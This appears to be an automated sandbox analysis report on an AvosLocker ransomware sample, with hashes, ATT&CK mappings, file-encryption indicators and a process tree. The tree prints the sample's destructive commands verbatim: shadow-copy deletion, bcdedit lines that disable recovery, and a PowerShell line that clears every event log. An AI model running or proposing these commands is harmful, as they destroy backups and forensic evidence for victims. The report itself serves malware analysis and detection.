avoslocker | fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
30-05-2024 03:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
Size

1002KB
MD5

29a6c44066af8bc35809cd1f8976b4d1
SHA1

b963ab9dadb49efe06b1ddddc1bee6e617d8f3e2
SHA256

fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb
SHA512

33e8027a78612ffe88e99b5281f4c2506727c1829dca4f7168d3dd915adf9e4985ded41f4f68cbc05f599d82e1ff44d0a2ba917bb0ed3873acd047bb96dc9627
SSDEEP

24576:UgoMwIykL7QZON73jGEItU5D7aaBWiP/3VUl:wMTfQUFTTItU5DeWP/3VUl

Score

10^/10

avoslocker defense_evasion evasion execution impact ransomware

Malware Config

Signatures

Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
ransomware avoslocker
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1208	bcdedit.exe
1924	bcdedit.exe

Renames multiple (10433) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1596118546.png"	reg.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\navBack.png	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\drag.png	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files\Microsoft Games\Multiplayer\Backgammon\en-US\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Vancouver	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\INFOPATHEDITOR_F_COL.HXK	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\EN00006_.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0151047.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\mc.jar	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-border.png	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN105.XML	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\redmenu.png	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0174639.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0285484.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PARNT_02.MID	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-explorer.xml	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Adobe.css	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB00673L.GIF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\INDUST\THMBNAIL.PNG	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files\Windows Photo Viewer\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_ja_4.4.0.v20140623020002.jar	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02443_.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02794_.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\en-US\join.avi	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Desert\TAB_OFF.GIF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Origin.thmx	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\images\add_up.png	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\javafx-mx.jar	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_ButtonGraphic.png	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\ja-JP\weather.html	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\TEAROFF.POC	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.CO.KR.XML	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187895.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01046J.JPG	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00941_.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\TextConv\WksConv\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Wake	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\en-US\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGAD.XML	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Americana\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\EXCEL.DEV_F_COL.HXK	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Part\1 Right.accdt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\EN00202_.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Windows NT\TableTextService\fr-FR\TableTextService.dll.mui	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_ja_4.4.0.v20140623020002.jar	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\access-bridge-64.jar	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fr-FR\InkWatson.exe.mui	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\it-IT\css\GET_YOUR_FILES_BACK.txt	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\WINWORD.DEV_F_COL.HXK	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Americana\TAB_OFF.GIF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0281904.WMF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Updater6\AdobeAUM_rootCert.cer	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Cocos	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\currency.html	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\modern_m.png	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.FR.XML	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
952	powershell.exe
4572	powershell.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1428	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
952	powershell.exe
4572	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
Token: SeIncreaseQuotaPrivilege	1992	WMIC.exe
Token: SeSecurityPrivilege	1992	WMIC.exe
Token: SeTakeOwnershipPrivilege	1992	WMIC.exe
Token: SeLoadDriverPrivilege	1992	WMIC.exe
Token: SeSystemProfilePrivilege	1992	WMIC.exe
Token: SeSystemtimePrivilege	1992	WMIC.exe
Token: SeProfSingleProcessPrivilege	1992	WMIC.exe
Token: SeIncBasePriorityPrivilege	1992	WMIC.exe
Token: SeCreatePagefilePrivilege	1992	WMIC.exe
Token: SeBackupPrivilege	1992	WMIC.exe
Token: SeRestorePrivilege	1992	WMIC.exe
Token: SeShutdownPrivilege	1992	WMIC.exe
Token: SeDebugPrivilege	1992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1992	WMIC.exe
Token: SeRemoteShutdownPrivilege	1992	WMIC.exe
Token: SeUndockPrivilege	1992	WMIC.exe
Token: SeManageVolumePrivilege	1992	WMIC.exe
Token: 33	1992	WMIC.exe
Token: 34	1992	WMIC.exe
Token: 35	1992	WMIC.exe
Token: SeDebugPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeSecurityPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeSecurityPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeSecurityPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeSecurityPrivilege	952	powershell.exe
Token: SeIncreaseQuotaPrivilege	1992	WMIC.exe
Token: SeSecurityPrivilege	1992	WMIC.exe
Token: SeTakeOwnershipPrivilege	1992	WMIC.exe
Token: SeLoadDriverPrivilege	1992	WMIC.exe
Token: SeSystemProfilePrivilege	1992	WMIC.exe
Token: SeSystemtimePrivilege	1992	WMIC.exe
Token: SeProfSingleProcessPrivilege	1992	WMIC.exe
Token: SeIncBasePriorityPrivilege	1992	WMIC.exe
Token: SeCreatePagefilePrivilege	1992	WMIC.exe
Token: SeBackupPrivilege	1992	WMIC.exe
Token: SeRestorePrivilege	1992	WMIC.exe
Token: SeShutdownPrivilege	1992	WMIC.exe
Token: SeDebugPrivilege	1992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1992	WMIC.exe
Token: SeRemoteShutdownPrivilege	1992	WMIC.exe
Token: SeUndockPrivilege	1992	WMIC.exe
Token: SeManageVolumePrivilege	1992	WMIC.exe
Token: 33	1992	WMIC.exe
Token: 34	1992	WMIC.exe
Token: 35	1992	WMIC.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeSecurityPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeSecurityPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeSecurityPrivilege	952	powershell.exe
Token: SeBackupPrivilege	952	powershell.exe
Token: SeSecurityPrivilege	952	powershell.exe
Token: SeSecurityPrivilege	952	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 2536	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	29
PID 2908 wrote to memory of 2536	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	29
PID 2908 wrote to memory of 2536	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	29
PID 2908 wrote to memory of 2536	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	29
PID 2908 wrote to memory of 2540	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	30
PID 2908 wrote to memory of 2540	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	30
PID 2908 wrote to memory of 2540	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	30
PID 2908 wrote to memory of 2540	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	30
PID 2908 wrote to memory of 2580	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	31
PID 2908 wrote to memory of 2580	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	31
PID 2908 wrote to memory of 2580	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	31
PID 2908 wrote to memory of 2580	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	31
PID 2908 wrote to memory of 2596	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	32
PID 2908 wrote to memory of 2596	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	32
PID 2908 wrote to memory of 2596	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	32
PID 2908 wrote to memory of 2596	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	32
PID 2908 wrote to memory of 2600	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	33
PID 2908 wrote to memory of 2600	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	33
PID 2908 wrote to memory of 2600	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	33
PID 2908 wrote to memory of 2600	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	33
PID 2580 wrote to memory of 1208	2580	cmd.exe	34
PID 2580 wrote to memory of 1208	2580	cmd.exe	34
PID 2580 wrote to memory of 1208	2580	cmd.exe	34
PID 2536 wrote to memory of 1992	2536	cmd.exe	35
PID 2536 wrote to memory of 1992	2536	cmd.exe	35
PID 2536 wrote to memory of 1992	2536	cmd.exe	35
PID 2600 wrote to memory of 952	2600	cmd.exe	36
PID 2600 wrote to memory of 952	2600	cmd.exe	36
PID 2600 wrote to memory of 952	2600	cmd.exe	36
PID 2596 wrote to memory of 1924	2596	cmd.exe	37
PID 2596 wrote to memory of 1924	2596	cmd.exe	37
PID 2596 wrote to memory of 1924	2596	cmd.exe	37
PID 2540 wrote to memory of 1428	2540	cmd.exe	38
PID 2540 wrote to memory of 1428	2540	cmd.exe	38
PID 2540 wrote to memory of 1428	2540	cmd.exe	38
PID 2908 wrote to memory of 4572	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	43
PID 2908 wrote to memory of 4572	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	43
PID 2908 wrote to memory of 4572	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	43
PID 2908 wrote to memory of 4572	2908	fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe	43
PID 4572 wrote to memory of 5152	4572	powershell.exe	44
PID 4572 wrote to memory of 5152	4572	powershell.exe	44
PID 4572 wrote to memory of 5152	4572	powershell.exe	44
PID 4572 wrote to memory of 896	4572	powershell.exe	45
PID 4572 wrote to memory of 896	4572	powershell.exe	45
PID 4572 wrote to memory of 896	4572	powershell.exe	45

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe
"C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe"
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\system32\cmd.exe
  cmd /c wmic shadowcopy delete /nointeractive
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- C:\Windows\system32\cmd.exe
  cmd /c vssadmin.exe Delete Shadows /All /Quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:1428
- C:\Windows\system32\cmd.exe
  cmd /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1208
- C:\Windows\system32\cmd.exe
  cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1924
- C:\Windows\system32\cmd.exe
  cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1596118546.png /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:5152
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
    3⤵
    PID:896

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:6120

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L0DEU2HOR54G1IXRMBJ7.temp

Filesize
7KB

MD5
478c6987d0a47723aba184402fd19ba5

SHA1
c2d6efa45da8392da8bb4d770d4a6b638b32ea19

SHA256
818037500ed15d5da9b9777d203c89ecababad480ed5ef374e7325b3faff5fe7

SHA512
11456882ac4f1a8334b25684ffaffdb04e34e157451dc08e578e2908f6b91c54ac540f96f675b2cea15b362d594ba096e646a11d1113c6ad3de948427d6837aa

Download Submit
F:\GET_YOUR_FILES_BACK.txt

Filesize
1011B

MD5
6d81ed40ba0a283e5483bfe6a448e9d7

SHA1
0c847a5f9df743b13e1aa11b4c24a4309e9a7119

SHA256
b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d

SHA512
8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379

Download Submit
memory/952-1238-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/952-1152-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
